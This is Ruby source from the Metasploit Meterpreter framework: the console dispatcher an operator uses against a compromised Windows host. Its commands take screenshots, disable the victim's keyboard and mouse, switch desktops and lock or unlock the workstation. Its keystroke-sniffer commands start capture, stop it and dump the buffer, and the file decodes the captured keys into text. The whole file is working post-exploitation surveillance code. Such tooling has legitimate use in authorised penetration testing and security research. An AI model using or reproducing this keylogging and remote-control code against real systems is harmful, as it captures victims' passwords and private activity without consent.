require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

###
#
# The user interface portion of the standard API extension.
#
###
class Console::CommandDispatcher::Stdapi::Ui

	Klass = Console::CommandDispatcher::Stdapi::Ui

	include Console::CommandDispatcher

	#
	# List of supported commands.
	#
	def commands
		{
			"idletime"      => "Returns the number of seconds the remote user has been idle",
			"uictl"         => "Control some of the user interface components",
			"enumdesktops"  => "List all accessible desktops and window stations",
			"getdesktop"    => "Get the current meterpreter desktop",
			"setdesktop"    => "Change the meterpreters current desktop",
			"keyscan_start" => "Start capturing keystrokes",
			"keyscan_stop"  => "Stop capturing keystrokes",
			"keyscan_dump"  => "Dump the keystroke buffer",
			"screenshot"    => "Grab a screenshot of the interactive desktop",

			#  not working yet
			# "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
		}
	end

	#
	# Name for this dispatcher.
	#
	def name
		"Stdapi: User interface"
	end

	#
	# Executes a command with some options.
	#
	def cmd_idletime(*args)
		seconds = client.ui.idle_time

		print_line(
			"User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}")
		
		return true
	end

	#
	# Enables/disables user interface mice and keyboards on the remote machine.
	#
	def cmd_uictl(*args)
		if (args.length < 2)
			print_line(
				"Usage: uictl [enable/disable] [keyboard/mouse]")
			return true
		end

		case args[0]
			when 'enable'
				case args[1]
					when 'keyboard'
						print_line("Enabling keyboard...")
						client.ui.enable_keyboard
					when 'mouse'
						print_line("Enabling mouse...")
						client.ui.enable_mouse
					else
						print_error("Unsupported user interface device: #{args[1]}")
				end
			when 'disable'
				case args[1]
					when 'keyboard'
						print_line("Disabling keyboard...")
						client.ui.disable_keyboard
					when 'mouse'
						print_line("Disabling mouse...")
						client.ui.disable_mouse
					else
						print_error("Unsupported user interface device: #{args[1]}")
				end
			else
				print_error("Unsupported command: #{args[0]}")
		end

		return true
	end
	
	#
	# Grab a screenshot of the current interactive desktop.
	#
	def cmd_screenshot( *args )
		path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
		quality = 50
		view    = true
		
		screenshot_opts = Rex::Parser::Arguments.new(
			"-h" => [ false, "Help Banner." ],
			"-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
			"-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
			"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
		)
		
		screenshot_opts.parse( args ) { | opt, idx, val |
			case opt
				when "-h"
					print_line( "Usage: screenshot [options]\n" )
					print_line( "Grab a screenshot of the current interactive desktop." )
					print_line( screenshot_opts.usage )
					return
				when "-q"
					quality = val.to_i
				when "-p"
					path = val
				when "-v"
					view = false if ( val =~ /^(f|n|0)/i )
			end
		}
		
		data = client.ui.screenshot( quality )
		
		if( data )
			::File.open( path, 'wb' ) do |fd|
				fd.write( data )
			end
		
			path = ::File.expand_path( path )
			
			print_line( "Screenshot saved to: #{path}" )
			
			Rex::Compat.open_file( path ) if view
		end
		
		return true
	end
	
	#
	# Enumerate desktops
	#
	def cmd_enumdesktops(*args)
		print_line( "Enumerating all accessible desktops" )
		
		desktops = client.ui.enum_desktops
		
		desktopstable = Rex::Ui::Text::Table.new(
			'Header'  => "Desktops",
			'Indent'  => 4,
			'Columns' => [	"Session",
							"Station",
							"Name"
						]
		)
		
		desktops.each { | desktop |
			session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s
			desktopstable << [ session, desktop['station'], desktop['name'] ]
		}
		
		if( desktops.length == 0 )
			print_line( "No accessible desktops were found." )
		else
			print( "\n" + desktopstable.to_s + "\n" )
		end
		
		return true
	end

	#
	# Get the current meterpreter desktop.
	#
	def cmd_getdesktop(*args)
		
		desktop = client.ui.get_desktop
		
		session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\"
		
		print_line( "#{session}#{desktop['station']}\\#{desktop['name']}" )
		
		return true
	end
	
	#
	# Change the meterpreters current desktop.
	#
	def cmd_setdesktop( *args )
		
		switch   = false
		dsession = -1
		dstation = 'WinSta0'
		dname    = 'Default'
		
		setdesktop_opts = Rex::Parser::Arguments.new(
			"-h" => [ false, "Help Banner." ],
			#"-s" => [ true, "The session (Default: '#{dsession}')" ],
			"-w" => [ true, "The window station (Default: '#{dstation}')" ],
			"-n" => [ true, "The desktop name (Default: '#{dname}')" ],
			"-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ]
		)
		
		setdesktop_opts.parse( args ) { | opt, idx, val |
			case opt
				when "-h"
					print_line( "Usage: setdesktop [options]\n" )
					print_line( "Change the meterpreters current desktop." )
					print_line( setdesktop_opts.usage )
					return
				#when "-s"
				#  dsession = val.to_i
				when "-w"
					dstation = val
				when "-n"
					dname = val
				when "-i"
					switch = true if ( val =~ /^(t|y|1)/i )
			end
		}
		
		if( client.ui.set_desktop( dsession, dstation, dname, switch ) )
			print_line( "#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}" )
		else
			print_line( "Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}" )
		end
		
		return true
	end	

	#
	# Unlock or lock the desktop
	#
	def cmd_unlockdesktop(*args)
		mode = 0
		if(args.length > 0)
			mode = args[0].to_i
		end
		
		if(mode == 0)
			print_line("Unlocking the workstation...")
			client.ui.unlock_desktop(true)
		else
			print_line("Locking the workstation...")
			client.ui.unlock_desktop(false)	
		end

		return true
	end	
			
	#
	# Start the keyboard sniffer
	#
	def cmd_keyscan_start(*args)
		print_line("Starting the keystroke sniffer...")
		client.ui.keyscan_start
		return true
	end	
	
	#
	# Stop the keyboard sniffer
	#
	def cmd_keyscan_stop(*args)
		print_line("Stopping the keystroke sniffer...")
		client.ui.keyscan_stop
		return true
	end	

	#
	# Dump captured keystrokes
	#
	def cmd_keyscan_dump(*args)
		print_line("Dumping captured keystrokes...")
		data = client.ui.keyscan_dump
		outp = ""
		data.unpack("n*").each do |inp|
			fl = (inp & 0xff00) >> 8
			vk = (inp & 0xff)
			kc = VirtualKeyCodes[vk]
			
			f_shift = fl & (1<<1)
			f_ctrl  = fl & (1<<2)
			f_alt   = fl & (1<<3)
	
			if(kc)
				name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
				case name
				when /^.$/
					outp << name
				when /shift|click/i
				when 'Space'
					outp << " "
				else
					outp << " <#{name}> "
				end
			else
				outp << " <0x%.2x> " % vk
			end
		end
		print_line(outp)
		
		return true
	end	

end

end
end
end
end
